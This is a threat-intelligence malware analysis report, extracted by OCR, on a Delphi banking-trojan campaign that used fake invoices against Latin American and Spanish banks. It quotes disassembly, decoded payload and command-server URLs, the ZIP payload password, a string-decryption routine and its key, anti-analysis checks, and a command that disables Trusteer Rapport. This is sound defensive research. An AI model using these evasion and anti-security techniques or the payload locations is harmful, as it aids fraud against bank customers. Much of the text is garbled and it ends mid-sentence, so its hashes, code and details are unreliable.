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| INTRODUCTION

We have been tracking the footprint of an actor
who has been conducting a campaign targeting Latin
American and Spanish users in recent months.

The immediate objective of the campaign is the
installation of a banking trojan on the users’ systems,
with the final goal of stealing sensitive financial
information that can be used to perform fraud.

In the configuration parameters of this trojan there
are more than 80 banks and several cryptocurrency-
related sites present.

The features and operation of this malware allow
the attacker to bypass online banking security
mechanisms such as 2FA by SMS or the use of a
physical token.

We are grateful to the Caixabank eCrime team
for sharing intelligence and collaborating with Blueliv
on this investigation.
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DISTRIBUTION
CAMPAIGN OVERVIEW

The distribution begins with the massive sending of emails. The messages pretend to be an electronic invoice
in PDF format and present a link for download.

EMAIL
e e DOWNLOADER PAYLOAD
. ttfP IaCtUra User clicks Factur98793400 Payload
SIS e Co on link 583a-Electronica.exe downloaded from MWEZIZEDLCF

lefv... W32/Banload DROPBOX

If the user clicks on the link included in the email,a  The EXE file uses the ACROBAT READER icon as
ZIP file is downloaded, containing the fake invoice. application icon, thus trying to impersonate a PDF
document. Upon execution it proceeds to download
and run the payload from its configured URL.We note

Factel7802932770608.zi
acte G that the actor has hosted all payloads in DROPBOX.

Factura293454835.zip

http://www.dropbox.com/

. s/2651011i3tayigld/Serv9Edriversa.
The real content of the ZIP file is a downloader: zip?dl=1 b

W32/Banload.

http://www.dropbox.com/s/

fqy0987jz7a03gz/foolksOedrivs.zip?dl=1
Factur98793400583a-Electronica.exe

http://www.dropbox.com/s/
vs84ax906q2e816/Intel8Sdrivel.zip?dl=1

Factura990834E1lecl11814-3007.exe

http://www.dropbox.com/s/
wopst4167ajljoz/Intel _1Drivings.
zip?dl=1
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This is howW32/Banker arrives on the user's computer.
This malware is known with different aliases such as
W32/Bancos, PSW.Banker, Trojan.Spy.Banker, Troj/
Banker or InfostealerBancos, amongst others.

SHA256

Filename

Serv9Edriversa.zip

foolks@edrivs.zip

Sigu9Edrivers.zip

InteI8Sdrivel.zip

Intel_1Drivings.zip

During the investigation we found many of these
payloads hosted in DROPBOX. The ZIP files
are password protected, and an analysis of its
corresponding downloader is needed to get the key.

7bd54edd6326c3086fc950a0ae57fb47697¢c158a9a748b54ac1f058c4a0794fb

Ad3c5db536d61db37e4ebdO0af4ced33f589a8eflebbb6b66e79b7913e1f4a91f1

12d69f44f9d0a492893604b476falc4d5fObfa675c50bdb1l3fd92e6bda8de207

1de09fd2434cde7f86fbdOfaeef@3c5a4758be7dde3f90b64af7ca87c9b49c2c

848a9762e6eb6913dcdb5e976b19222fdbb2baa85¢c94a180b9c536c48c49e3fe
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| THE EMAIL

The actor distributes their stage | malware through
emails that pretend to be electronic invoices. The
text is in Spanish and we can observe mistakes in its
construction, grammar and/or spelling. The message

:':Irax'.|7-='|:|.r |.| Pchiida edcingilaca LI

presents a link from which the user can download
the alleged invoice. Both the domain name and the
file name used in this link are also in Spanish, and are
related to the subject of the email: an invoice.

Envio de factura electronica - SERES S.A.

Emibo para uited wnlos) doomentic]s) de tpo Facturg electrdodcg con las segmenies caraciensboas

FACTURA: 9TGERTULVSEFLSDSGLOLCEZYQ
FECHA DE EMISION: 29/07/2019
MONTO TOTAL: 2.420,03

Para esie medho se le emaa ol docnento adjmnio, € schio PDE.
Consulte los datos adjuntos, por favor

Li= nobfic amos gue |3 Empresa

Sardéd S.A. [(AL20454883)
sc ancxa ¢l seguente comprobante fiscal dugatal en su formato PDF
=15 b.esffactedz381 36 pudi

e e —— it

The threat actor uses different links and file names in
each wave of emails, always related to the subject of
invoices. We observe that the domains used by the
actor appear reused:

The registration information corresponding to these
domains varies, and everything seems to indicate
that it is fake.

The link included in the message points to a ZIP file,

which contains the next attack stage.
http://e-facturaciones.com/efc/index.php

http://facturacionfiscal-es.com/esc/index.php
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| THE DOWNLOADER

The downloaders are i386 PE .EXE files written in
DELPHI. They always appear with a filename that
refers to an invoice, accompanied by a number.

Factur98793400583a-Electronica.exe Factura-E993000655539629072019.exe

Factura990834Elecl11814-3007.exe Fact-urakE034900068712907.exe

The executables contain several artifacts — a form
with some input fields — possibly remnants of the
DELPHI application used as a base.

BUILDING TEXT STRINGS
AT RUNTIME

Some malware families encrypt text strings to hide We observe how the malware has different small
them. In this way they avoid being detected through functions each responsible for generating a single
their presence or hinder static analysis. There are also character. Here is the function for generating an
some malware families, like this one we analyzed, in “a" character:

which text strings are built at runtime.

:008D961C proc near

:008D961C push ebp

:008D961D mov ebp, esp

:008D961F push ecx

:008D9620 mov [ebp+var_4], eax
:008D9623 mov eax, [ebp+tvar_4]
:008D9626 mov edx, offset mal_char_a
:008D962B call sub_40A66C

:008D9630 pop ecx
:008D9631 pop ebp

:008D9632 retn

:008D9632 mal_str_a endp

:008D9633 align 4

:008D9634 00 FF FF+ dd 204BOh, OFFFFFFFFh, 1
:008D9640 00 mal_char_a dd 61h ; “a”
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And here is the function for the generation the “t" character:

:008D9644 mal_str_t proc near

:008D9644 push ebp

:008D9645 mov ebp, esp
:008D9647 push ecx

:008D9648 mov [ebp+var_4], eax
:008D964B mov eax, [ebp+var_4]
:008D964E mov edx, offset mal_char_t
:008D9653 call sub_40A66C
:008D9658 pop ecx

:008D9659 pop ebp

:008D965A retn

:008D965A mal_str_t endp

:008D965B align 4

:008D965C 00 FF FF+ dd 204BOh, OFFFFFFFFh, 1
:008D9668 00 mal_char_t dd 74h ; “t”

The malware uses these functions when it needs code we see the malware preparing the string
some text string, calling them to build the string “appdata’ by using this method.
character after character at runtime. In the following

:008D9010 sub_55CA8C

:008D9015 eax, [ebp+var_1C]
:008D9018 mal_str_a ; a
:008D901D [ebp+var_1C]

:008D9020 eax, [ebp+var_20]
:008D9023 mal_str_p ;
:008D9028 [ebp+var_20]

:008D902B eax, [ebptvar_24]
:008D902E mal_str_p ;
:008D9033 [ebp+var_24]

:008D9036 eax, [ebp+var_28]
:008D9039 mal_str_d ; appd
:008D90O3E [ebp+var_ 28]

:008D9041 eax, [ebp+tvar_ 2C]
:008D95044 mal_str_a ; appda
:008D95049 [ebp+var_ 2C(C]

:008D904C eax, [ebp+tvar_ 30]
:008D904F mal_str_t ; appdat
:008D9054 [ebp+var_30]

:008D9057 eax, [ebptvar_ 34]
:008D90O5A mal_str_a ; appdata
:008D90O5F [ebp+var_ 34]

:008D9062 eax, [ebp+tmal str_ appdatal
:008D9065 edx, 7

:008D906A sub_40B388

:008D906F eax, [ebp+mal str_ appdatal
:008D9072 edx, [ebp+tvar_14]
:008D9075 sub_4313A8
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ENCODED PAYLOAD URL

We note that the URL from which the payload is
downloaded is encoded in an unusual way.

:008D9364 mal_url_download:

:008D9364 text “UTF-16LE”, ‘$FUTO2MILF$s$M23DINGLESwWwwSTIGLEOIOMTPS. . .
:008D9364 text “UTF-16LE”, ‘@9MTP$com/s/265101i3tayigld/ServIEdriv...
:008D9364 text “UTF-16LE”, ‘TP$$BISO1HOLE$?d1=1",0

:008D9458 dd 204B0Gh, OFFFFFFFFh, 5Ch

:008D9464 mal_url c2:

:008D9464 text “UTF-16LE”, ‘$FUTO2MILF$$M23DINGLESe-facturaciones$...
:008D9464 text “UTF-16LE”, ‘m/efc/$KS58PIRIBOX$STIGLEOOMTP$SF3I3XUPX. . .

Certain ‘key’ parts of the URL such as “http"”,"zip"” or needs to use the URL, it replaces each tag with its
“php" have been replaced by tags.VWhen the malware corresponding text according to the following table.

$M23DINGLES --> “://” $FUTO2MILF$ --> “http”
$K58PIRIBOX$ --> “index” $F33XUPXUP$ --> “php”
$BISO1HOLES --> “zip” $TIGLEOIMTPS --> “.

Observe here how the malware calls the functions
to replace strings for building “zip"”, “php”, “index”,
“http” and /" in order to build the payload URL.

:008D90OF5 94 8D 00 eax, offset ma_url c2 ; “$FUTO2MILF$$M23DINGLESe. .
:008D9OFA 00 00 mal_str_zip

:008D9OFF eax, [ebptvar_68]
:008D9102 edx, [ebp+var_64]
:008D9105 00 00 mal_str_php

:008D910A eax, [ebp+var_64]
:008D910D edx, [ebptvar_60]
:008D9110 00 00 mal_str_index

:008D9115 eax, [ebptvar_60]
:008D9118 edx, [ebp+var_5C]
:008D911B 00 00 mal_str_dot

:008D9120 eax, [ebp+var_5C]
:008D9123 edx, [ebptvar_58]
:008D9126 00 00 mal_str_http

:008D912B eax, [ebptvar_58]
:008D912E edx, [ebp+var_54]
:008D9131 00 00 mal_str_2dot

:008D9136 edx, [ebp+var_54]
:008D9139 92 00 eax, offset dword 921EE4
:008D913E B3 FF sub_40A66C
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Let's decode the URLs present in the analyzed sample:

Sample:
95145c9b4bec53f6a5c76497e00b7823612079c53698085ad056f4d4bda%927d6

URL1:
$FUTO2MILF$s$M23DINGLE $wwwSTIGLEOOMTP$dropbox$TIGLEOOMTP$com/s/265101i3tayigld/
Serv9Edriversa$TIGLEOOIMTP$$BISOIHOLE$?d1=1

URL2:
$FUTO2MILF$$M23DINGLESe-facturaciones$TIGLEOOMTP$com/efc/$K58PIRIBOX$STIGLEOOMTP$$F33XUPXUP$

Decoded URL1:
https://www.dropbox.com/s/265101i3tayigld4/Serv9Edriversa.zip?dl=1

Decoded URL2:
http://e-facturaciones.com/efc/index.php

The decoded URLs are the payload and the malware C2
respectively. Let's decode the URLs from another sample.

Sample:
bOabf97ec58abdcf9e931f36d758257f1dbc3c273c998a7b336d4aal7c1fb81a

URL1:
$FUTO2MILF$s$M23DINGLE $WwwwSTIGLEOOMTP$dropbox$TIGLEOOMTPS$com/s/fqy0987jz7a03gz/
FoolksOEdrivs$TIGLE@OMTP$$BISOIHOLES?d1=1

URL2:

$FUTO2MILF$$SM23DINGLESfacturacionfiscal-es$TIGLEOIMTP$com/
esc/$K58PIRIBOX$STIGLEOOMTP$SF33XUPXUP$

Decoded URL1:
https://www.dropbox.com/s/fqy0987jz7a03gz/FoolksOEdrivs.zip?dl=1

Decoded URL2:
http://facturacionfiscal-es.com/esc/index.php
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We note that with each different campaign the malware
can use different URLs for both the final payload:

http://www.dropbox.com/s/265101i3tayigl4/Serv9Edriversa.zip?dl=1
http://www.dropbox.com/s/fqy0987jz7a03gz/foolksOedrivs.zip?dl=1

http://www.dropbox.com/s/wopst4l67ajljoz/Intel_1Drivings.zip?dl=1
https://www.dropbox.com/s/vs84ax906q2e816/intei8sdrivel.zip?dl=1

And the contact URL:

http://e-facturaciones.com/efc/index.php
http://facturacionfiscal-es.com/esc/index.php

Oncethepayload URLisreadythe URLDownload ToFileW
function is used to download its contents.

OO08D9FEB sub_40BOFC

008DIFFO (0 ; LPBINDSTATUSCALLBACK
0O08DI9FF2 (0 ; DWORD

O08DI9FF4 eax, [ebp+tvar_4]

008DIFF7 sub_40B094

OO8DIFFC eax ; LPCWSTR

OO8DI9FFD eax, off_905E7C

008DA0GO2 eax, [eax]

008DA004 sub_40B094

008DA009 eax ; LPCWSTR
OO8DAOOA 0 ; LPUNKNOWN
008DAGOC URLDownloadToFileW

008DA011 0Ah ; dwMilliseconds
008DA0O13 Sleep

008DA018 eax, eax
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PAYLOAD EXECUTION

If we manually download the payload, we will obtain access its content. The following code shows how
a .ZIP file that contains an executable. However, it the malware builds the ZIP password at runtime:
is password protected, and we will not be able to

008D97AE sub_40A66C

008D97B3 eax, [ebptvar_24]
008D97B6 mal_str_x ;X
008D97BB [ebpt+var_24]

008D97BE eax, [ebp+var 28]
008D97C1 mal_str_u ;
008D97C6 [ebptvar 28]

008D97C9 eax, [ebp+var_ 2(C]
008D97CC mal_str_p ;
008D97D1 [ebptvar_ 2C]

008D97D4 eax, [ebp+var 30]
008D97D7 mal_str_a ; Xupa
008D97DC [ebptvar_ 30]

008D97DF eax, [ebp+tmal str_zip_ pass]
008D97E2 edx, 4

008D97E7 sub_40B388

These encrypted ZIP payloads can't be analyzed by on VIRUSTOTAL. This could be an inconvenience for
antivirus gateways or similar tools on their way to an analyst who only has the download URL or the
the user, and as result they appear with O detections ZIP file and does not know the password.

O
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The last steps are the execution of just the
downloaded and decompressed EXE file. The
malware uses the ShellExecuteW function to run it.

:008D9E26 0 ; nShowCmd
:008D9E28 (0] ; lpDirectory
:008D9E2A 0

:008D9E2C eax, off_905C08

:008D9E31 dword ptr [eax]

:008D9E33 offset dword 8D9EF8

:008D9E38 eax, off_905D34

:008D9E3D dword ptr [eax]

:008D9E3F offset dword 8D9EF8

:008D9E44 ecx, [ebpt+lpParameters]
:008D9E4A edx, [ebp+var_8]

:008D9E4D eax, [ebp+var_4]

:008D9E50 ebx, [eax]

:008D9E52 dword ptr [ebx+0Ch]

:008D9ESS5 [ebptlpParameters] ; 1lpParameters
:008D9ESB eax, [ebp+var_2A8]

:008D9E61 edx, 5

:008DI9E66 sub_40B388

:008D9E6GB eax, [ebp+var_2A8]

:008D9E71 sub_40B094

:008D9E76 eax ; lpFile
:008D9E77 0 ; lpOperation
:008D9E79 0 ; hwnd
:008D9E7B ShellExecuteW

If anything fails, the following window is displayed,
simulating an error due to an expired invoice:

| La Tactura s& Tue expirada

=

(8] 4
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| THE BANKER

All the previous assembly is aimed at downloading we will see other members of the same family
and running this malware on users’ systems. To study throughout the analysis.
it we will focus on the following sample, although

4bd5c665d8dbfbcd79cf0f1257867e3db7dd715ec1le8d311e4653d55e91782f9

The file is a PE32 executable, developed in DELPHI. e An embedded DLL file, named SQLITE3 with

The UTC timestamp in the header is 2019-08-06 hash f/€93749c|8c|bdféfdc957b86e7f9866b8
02:14:45, and the first submission on VIRUSTOTAL ef62cb668fcd382a4de0f2d475b13 that turned
was on 2019-08-12 16:17:58.1f the header timestamp out to be exactly that: SQLITE3.DLL
is correct, this leaves us with a 6 days window starting
when the actor compiled the malware until it was * A large number of images used to create fake
first submitted to VIRUSTOTAL. bank windows and overlays (see Appendix
2: Fake bank images and overlays). The
The checksum field in the file header is empty and incorporation of Spanish banking entities into
the file presents no digital signature. the list of targets for this malware is remarkable.
The language code used on these strings is
In the resources section we observe different 0416 Portuguese (Brazil) too.

components used by this malware:
* Four BMP images (see Appendix 3:
Miscellaneous images found in resources).
It could be images left by the author as a
reference, to facilitate adding support for
more banks. The language code used is 0416
Portuguese (Brazil).
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HOW DOES IT WORK?

The analyzed malware family has its origins in KL-
REMOTE TOOLKIT, a tool offered in the Brazilian
underground since 20 4.

This toolkit allows malicious actors to take control
of the infected system while the user is operating

Web
browser|

Infected

user

|. The malware monitors visited web sites. It
contains a list of strings in order to identify visits
to the target banks.

2. When the user logs into their online banking
service, the malware contacts the malicious actor,
who can operate on the system through its RAT
style functionality.

In this way the attacker can operate within the online
banking service under the identity of the infected

on their online banking account, and through fake
windows and overlays convince the user to disclose
the information necessary to carry out a money
transfer: passwords, 2FA tokens, and other sensitive
information. Its operation could be summarized in
the following scheme:

Online banking
session 2

Banlk’s site

user, and thus carry out theft. If during the process
additional information is required, such as additional
keys, 2FA, etc., fake windows and overlays are used to
require this information to the user.

With this information in their possession, the attacker
proceeds to transfer the money to an account under
their control, while making the infected user wait with
an excuse such as a Windows update.

Atendidn Windews se ha recupersda de un grave enor, los srchivas comupbos
ﬁL i Bsldn restauranda. Este praceso puede Tardar algunas menutas

Impodanbe: ro apagar ni reinicas ol sistema, tesge de perda de datos

Members of this family are equipped with all the
necessary tools to carry out this attack: Functionality
to work as a RAT and a keylogger, the capability to

download and execute files, as well as a collection of
images corresponding to various banking entities.
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ENCRYPTED STRINGS

Most revealing text strings are stored encrypted. They
appear in the malware body as UNICODE strings made
of hexadecimal numbers:

80F750F137AF2CAF1B
2C568FB94E8A92C2110975E96B92C3
1652AFB650A6C10A
B330BABF45B13DB23EBB
6D97D157C839B4C32A42A8CF212156ED
A6D43E2B

CO364FE57A8CE6037F
F10F5ADS7FF37283EC51
7CFB5386BE1CB9ED084883C60C34
F57BD20921BA1FB4EDOC4C8AD77BDE1F

The decryption routine uses a key that is divided into
three parts in the body of the malware.

4bd5c665d8dbfbcd79¢cf0f1257867e3db7dd715ec1e8d311e4653d55e91782f9

Where the same key Is used, but appear all together
and not divided into parts:

0054B09C push ebx

0054B09D mov ebx, eax
0054BO9F mov eax, ebx
0054B0OA1 mov edx, offset key
0054BOA6 call sub 404498
0054B0OAB pop ebx

0054BOAC retn

0054BOAC sub_54B09C endp

0054BOAD 00 00 align 10h

0054B0OBO FF FF 2F 00+ dd OFFFFFFFFh, 2Fh

0054B0OB8 38 44 53 37 38+key db ‘88DS78498948E4H48)84K44)56JH546554865448UJ4. . .
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This has probably been done in order to break in the file. The complete decryption key used in the
detection based on the presence of the key string  analyzed sample is:

88DS78498948E4H48J84K44)56JH546554865448UJ444)4

The decryption routine initially appears confusing, but following PYTHON code illustrates the decryption
it is based on simple XOR operation with a carry. The process:

decrypt( key, buffer)

encrypted = []
decrypted []

n ( len( buffer) - 1)
buffer[ n]

n % 2
encrypted.append( buffer[ n] + buffer[ n + 1])

klen = len( key)

i, byte enumerate( encrypted)
i >0 :
s = int( byte, 16)
k = ord( key[ ( i % klen) - 1])
X =s MKk
y = int( encrypted[ i - 1], 16)
if x >y
Z =X -y

zZ = x + 255 -y
decrypted.append( chr( z))

‘’.join( decrypted)
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Once applied the text strings become visible (see

appendix | for a complete list).

Operador

Banco de Chile
TECLAS|
TRAVASITE
BRADESCOPOSICAO
F11

MARCARPC
ESCREVER]|
Google Chrome
Mozilla Firefox
REINICIAGERAL
MARCARPC
MAXIMIZANDO
SEMPREONLINEON
SEMPREONLINEOFF
KILL

The analyzed sample contains more than

1500

encrypted strings. Sometimes these encrypted strings

.text:006665F6 BA EC 68 66
.text:006665FB 33 CO
.text:006665FD E8 46 ED FF
.text:00666602 FF 75 C4
.text:00666605 8D 45 CO
.text:00666608 E8 77 FC FF

.text:0066660D FF 75 CO
.text:00666610 8D 4D BC
.text:00666613 BA 18 69 66
‘3258F31DDC64F16BED64FO60OE. . .
.text:00666618 33 CO
.text:0066661A E8 29 ED FF

LIBERAACESSO
SUSPENDEACESSO
TELEFONE

REINICIA
SANTAJUJUFAKE
SANTAJUJUSERIE
SANTAJUJUTOKCERT
SANTAJUJUASS
SANTAJUJUTELE

BBFAKE

BBTELEFONE
BBSOMENTEASS
PEDESENHADE®6BBFISICO
PEDESENHADEGFCERTIFICADO
PEDESENHADEGFSENHA

are directly referenced in the code followed by a call

to the decryption routine.

edx, offset strl ; ‘359B33D81FB31F’
eax, eax

decrypt

[ebp+var_3C]

eax, [ebp+var 40]

sub 666284

[ebp+tvar_40]

ecx, [ebp+var_44]

edx, offset str2 ;

eax, eax
decrypt
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But in a large part of the cases the code refers to
them using indexes, hiding the string and thus making
analysis a bit more difficult.

.text:0088D36B B8 C4 02 00 00 eax, 2C4h

.text:0088D370 E8 67 35 D7 FF sub_6008DC

An extensive function is used to convert the index into
a string. Depending on the index value, the function
uses different jump tables.

006008DC ebp

006008DD ebp, esp

006008DF esp, OFFFFFFF8h

O06008E2 [ebp+tvar_ 8], edx

006008ES [ebp+tvar_4], eax

006008E8 eax, [ebp+var_4]

0O06008EB eax, 4EOh

006008F0O j loc_601C8E

006008F6 j loc_ 608736

006008FC eax, 4DFh ; switch 1248 cases
00600901 j loc_60C43E ; jumptable 00600907 default case
00600907 ds:off_60090E[eax*4] ; switch jump

The encrypted string corresponding to the given index
is returned:

.text:00604722 8B 45 F8 eax, [ebp+var_8] ; jumptable 00600907 case 36
.text:00604725 BA 5C C6 60 00 edx, offset estrl; °‘F57BD20921BA1FB4EDOC4C8AD77...

.text:0060472A E8 9D 5B EO FF sub_40A2CC
.text:0060472F E9 QA 7D 00 00 loc_60C43E ; jumptable 00600907 default case
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me
We can learn a lot about the purpose of this malware malware body. For instance, in this set of strings we
piece by just looking at the decrypted strings. They = observe the interest of the actor in some BITCOIN

also help to locate specific functionalities inside the related sites.

BitcoinToYou

Bitcointoyou

pt.bitcointoyou.com

BitcoinToYou

Stratum coinBR SmartWallet
SmartWallet Login

Stratum Blockchain Tech
CoinBR-Stratum

Bitcoin: comprar e vender de forma r<El>pida e f<E1l>cil <E9> aqui | Foxbit
Foxbit | Home

FoxBit

Login | FlowBTC

Bitcoin agora <E9> f<El>cil | FlowBTC
FlowBTC

FlowBtc

BitcoinTrade

(BTC)

BitcoinTrade

Copay - Copay Bitcoin Wallet

Copay

The following bitcoin wallet appears in the encrypted
strings. The malware uses it throughout its functions to
steal cryptocurrency.

1ZNDvtLXaV3xsNSSwR2Ffh6ANL2RvvYyn
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Some other decrypted strings reveal the targeted
bank entities.

P<El>gina Inicial - Voc<EA> | Banco do Brasil -

Exclusivo - Outros Segmentos | Banco do Brasil -

P<El>gina Inicial - Estilo | Banco do Brasil -

P<El>gina Inicial - Private | Banco do Brasil -

P<El>gina Inicial - Empresas | Banco do Brasil -

P<El>gina Inicial - Empresarial | Banco do Brasil -

P<El>gina Inicial - Corporate | Banco do Brasil -

Governo Federal - Setor P<FA>blico Federal | Banco do Brasil -
Governo Estadual - Setor P<FA>blico Estadual | Banco do Brasil -
Governo Municipal - Setor P<FA>blico Municipal | Banco do Brasil -
Legislativo - Setor P<FA>blico Legislativo | Banco do Brasil -
Judici<El>rio - Setor P<FA>blico Judici<El>rio | Banco do Brasil -
Caixa - Compromisso com o Brasil -

PIS - Programa Integra<E7><E3>0 Social | Caixa -

Habita<E7><E3>0 | Caixa -

FGTS - Benef<ED>cios do Trabalhador | Caixa -

Santander -

Sicredi | Gente que coopera cresce -

Conta-corrente | Para Voc<EA> | Sicredi -

Cooperativas | Sicredi -

Sicoob - Sistema de Cooperativas de Cr<E9>dito do Brasil -
Sicoob - Sistema de Cooperativas de Cr<E9>dito do Brasil | Identifica<E7><E3>o0
Ita<FA> Uniclass - feito para voc<EA> crescer -

Banco Ita<FA> - Feito Para Voc<EA> -

30 horas -

Ita<FA> - boletos - atualizar -

Nova Home |

Banco Safra

54fR4=

Banco Safra

banco safra -

Banco Safra - Aplica<E7><E3>0 Internet Pessoa F<ED>sica -

Banco Safra - Internet Banking Pessoa Jur<ED>dica -

Banco da Amazonia - Inicio

Banco da Amazonia - Empresa

B@ZN=




Malware Campaign Targeting LATAM & Spanish Banks

ANTIS

Members of this family incorporate different anti- environmental conditions: Virtual machines or systems
analysis and anti-VM mechanisms, their purpose is to that have certain analysis tools.A function in the malware
stop malware activity when running under certain code is responsible for performing all these checks.

:00665CF4 mov eax, offset aRegmonExe ; “regmon.exe”
:00665CF9 call chk_proc

:00665CFE test al, al

:00665D00 jnz set flag

:00665D06 mov eax, offset aFilemonExe ; “filemon.exe”
:00665D0B call chk_proc

:00665D10 test al, al

:00665D12 jnz short set flag

:00665D14 mov eax, offset aProcmonExe ; “procmon.exe”
:00665D19 call chk_proc

:00665D1E test al, al

:00665D20 jnz short set_flag

:00665D22 mov ecx, 1

:00665D27 mov edx, [ebp+var_8]

:00665D2A mov eax, offset aCInsidetm ; “c:\\insidetm”
:00665D2F call sub_40B260

:00665D34 test eax, eax

:00665D36 jnz short set flag

:00665D38 mov di, 1

:00665D3A mov eax, offset aCAnalysis ; “C:\\analysis”
:00665D3F call sub_426E5C

:00665D44 test al, al

:00665D46 jnz short set flag

:00665D48 call check_isdbgpresent
:00665D4D cmp al, 1

:00665D4F jz short set flag

:00665D51 call check_vmware

:00665D56 cmp al, 1

:00665D58 jz short set flag

:00665D5A call check_virtualpc

:00665D5F cmp al, 1

:00665D61 jz short set_flag

:00665D63 call check_processexplorer
:00665D68 cmp al, 1

:00665D6A jz short set flag

:00665D6C call check tcp

:00665D71 cmp al, 1

:00665D73 jz short set flag

:00665D75 call check _tcpview

:00665D7A cmp al, 1

:00665D7C jz short set flag

:00665D7E call check_regshot

:00665D83 cmp al, 1

:00665D85 jnz short chk_antis_done
:00665D87 set_flag:

:00665D87 mov byte ptr [ebp+anti flag], 1
:00665D8B chk_antis_done:

:00665D8B xor eax, eax

:00665D8D pop edx

:00665D8E pop ecx

:00665D8F pop ecx

:00665D90 mov fs:[eax], edx
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The checks made are:

*  Check for the presence of “regmon.exe”

*  Check for the presence of “filemon.exe”

*  Check for the presence of “procmon.exe”

*  Check for the presence of “c:\insidetm”

«  Check for the presence of “C:\analysis”

* Check if being debugged

*  Check if running inside VMWARE

e Check if running inside VIRTUALPC

*  Check for the presence PROCESS EXPLORER

* Check for the presence of unknow tool with
“tcp” on its caption

*  Check for the presence of TCPVIEW

* Check for the presence of REGSHOT

00665964
00665965
00665967
0066596A
0066596E
00665973
00665978
0066597B
0066597F
00665981
00665986
00665989
0066598A
0066598F
00665992
00665996
00665998
00665998
0066599E
0066599E
006659A1
006659A3
006659A4

push
mov
add
mov
push
call
mov
cmp
jz
push
mov
push
call
mov
cmp
jz
call
mov

mov
mov
pop
retn

me
REGMON, FILEMON, PROCMON, PROCESS
EXPLORER and TCPVIEW  are part of

SYSINTERNALS SUITE, a collection of small tools
often used in malware analysis.

REGSHOT is an OPEN SOURCE tool that allows
to take a snapshot of WINDOWS registry and then
compare it with a previous one.

Depending on the result, malware could interrupt its
activity, thus avoiding automatic analysis systems and
malware analysts.

The function in charge of detecting if the malware
is being debugged uses the IsDebuggerPresent AP
without any other complications.

ebp

ebp, esp

esp, OFFFFFFF4h

[ebp+tvar_11, ©

offset aKernel32 “kernel32”
addr_GetModuleHandleW
[ebp+thModule], eax
[ebp+hModule], ©

short isdbgpresent done
offset alsDbgPresent
eax, [ebp+thModule]

eax

get proc_addr
[ebp+addr_IsDebuggerPresent],
[ebp+addr_IsDebuggerPresent],
short isdbgpresent done
[ebp+addr_IsDebuggerPresent]
[ebp+var_ 1], al

“IsDebuggerPresent”

eax
0

isdbgpresent done:

al,
esp,
ebp

[ebp+var_ 1]
ebp
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VIRTUALPC detection is achieved by means of this
obscure “VPCEXT 7,0Bh™ instruction:

00665A24 push ebp

00665A25 mov ecx, offset chk_virtrualpc_done
00665A2A mov ebp, esp

00665A2C push ebx

00665A2D push ecx

00665A2E push large dword ptr fs:0
00665A35 mov large fs:0, esp
00665A3C mov ebx, 0

00665A41 mov eax, 1

00665A46 vpcext 7, OBh

Some checks rely on simple calls to FindWindow to
determine if some window is present. In some cases,
window captions are checked too.

00665A88 55 ebp

00665A89 8B EC ebp, esp

00665A8B 83 C4 F8 esp, OFFFFFFF8h

O0665A8E 6A 00 0

00665A90 68 B4 5A 66 00 offset aProcexpl ; “PROCEXPL”
00665A95 E8 52 09 DB FF FindWindowW

Some decrypted text strings reveal the presence of
functionalities dedicated to circumvent IBM Trusteer
fraud detection solution.

\Trusteer\Rapport\bin\*.*” /E /C /P SYSTEM:N Todos:N

\Trusteer\Rapport\bin\x64\*.*” /E /C /P SYSTEM:N Todos:N
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BANKER FUNCTIONALITY

The malware can detect when the user is operating malware obtains the window caption and compares it
with their online banking account. To achieve this, it ~ with a series of patterns stored as encrypted strings:
uses the FindWindow / FindWindowEx functions. The

popu=

bankint=
caix@b4dk=
ban.p@stor=
banco de chile -

Citibank
ing=
rur@l=
Montepio

A rudimentary system that allows malware to carry out the theft. The malware contains a plethora
activate certain functionalities at the moment that of images in the resources section for this purpose.

the user makes use of electronic banking. Each bank has its own images corresponding to each
step of the deception (see Appendix 2: Fake bank
A series of fake windows and overlays, combined images and overlays).

with a bit of social engineering, allows the actors to

Si izacién
e SEI ba d&“ Tarj Et:!n;f:nﬁ;enadas

B5 Online Empresa
Introduzca la clave correspondiente a la posicion de su tarjeta de B50nline Empresa
Empresa n® 00X

Borrar Continuar

26
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Other samples belonging to this same campaign
present additional images, like this one:

04DCD50F3DEB3439A30443BE63939BO5B87F000959DC9760184B36211AFB990OF

This includes images targeting banks (BAJIO, BANCO BANCOPPEL, BRADESCO and SANTANDER) that
AZTEKA, BANCO DE BRASILIA, BANREGIO, wasn't included in the previous one.
SCOTIABANK,  AFIRME, BBVA, INBURSA,

Actualizacion del Dispositivo

de Seguridad

Estamos sincronizando tu dispositivo.
Para sincronizar de forma rdpida v segura W dispositivo, ingrese e codigo generado por su dispositivo de segurdad,

Confirma la
simulacién del Registro

T
——
Verilique sus datos ¥ proporcione la clave solicitada

introduce el codigo que
miliEstra & Dispasl1ivo
AoOesn SEguna

n Hemos emviado una simulacion, el proceso se trala sobo de wna simulackin. m

Siktema de 'Ergulld.:d BEVA

Some other members of this family hide those images
inside the DELPHI form used for each bank. That is the
case of this sample:

€76521643d50c37a8908f752a165702a920a5b8cadc252fdOefOd3e838be2be3
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It does not contain any suspicious bitmaps on its code reveals the presence of an image encoded as
resources, but a close inspection of the DELPHI form hexadecimal numbers.

object Imagel: TImage
Left = 1
Top =1
Width = 601
Height = 508
Align = alClient

Picture.Data = {
07544269746D617016541000424D165410000000000036000000280000007A02
0000320200000100180000000000EO531000C40EOOCOCAO0EONOOOOOOOCO000000
OOOOFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF

Converting those hexadecimal values to binary results
in the following image:

1rTl}’Brau:l«e.rsw:n::n

INTERMNE T BANKING

Estamos configurands &s abualizagies
Pars concius o proceied de aluakzacho pedemos gue confinma of dadcs

abmEd

Para prosssgus oom Chave migrmada no Dupostive:
¥ Mlaakiachc, dogie 8
el Iionrmeds fe i & il |

wior 9o ness Dapoaisag
de Seguranga Ewindnca

LI Ay PROSSEQLEE

Para 5 sua sefurahce dutints ¢ procesen de atual .lﬂ:h.ﬁl: o rouke, edlads Ears
Ciond culrpd dispoiilivod de enifeds Jefls EedritumeThe Jbiat v ol

f:?" Bradesco
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me
As we have seen in the previous sections, there are some 3. Use of domain names related to invoice
elements related to the threat actor behind this campaign issuance: e-facturaciones.com, facturacionfiscal-
which are quite characteristic: es.com.
* The final malware is stored in Dropbox, it is zipped
* The distribution is performed via spam, pretending to and its decompressed size is quite big.
be an electronic invoice. * The attack, in its last part, requires a high level of
* Both malware families used by the actor (W32/ manual intervention by the actor: the attacker must
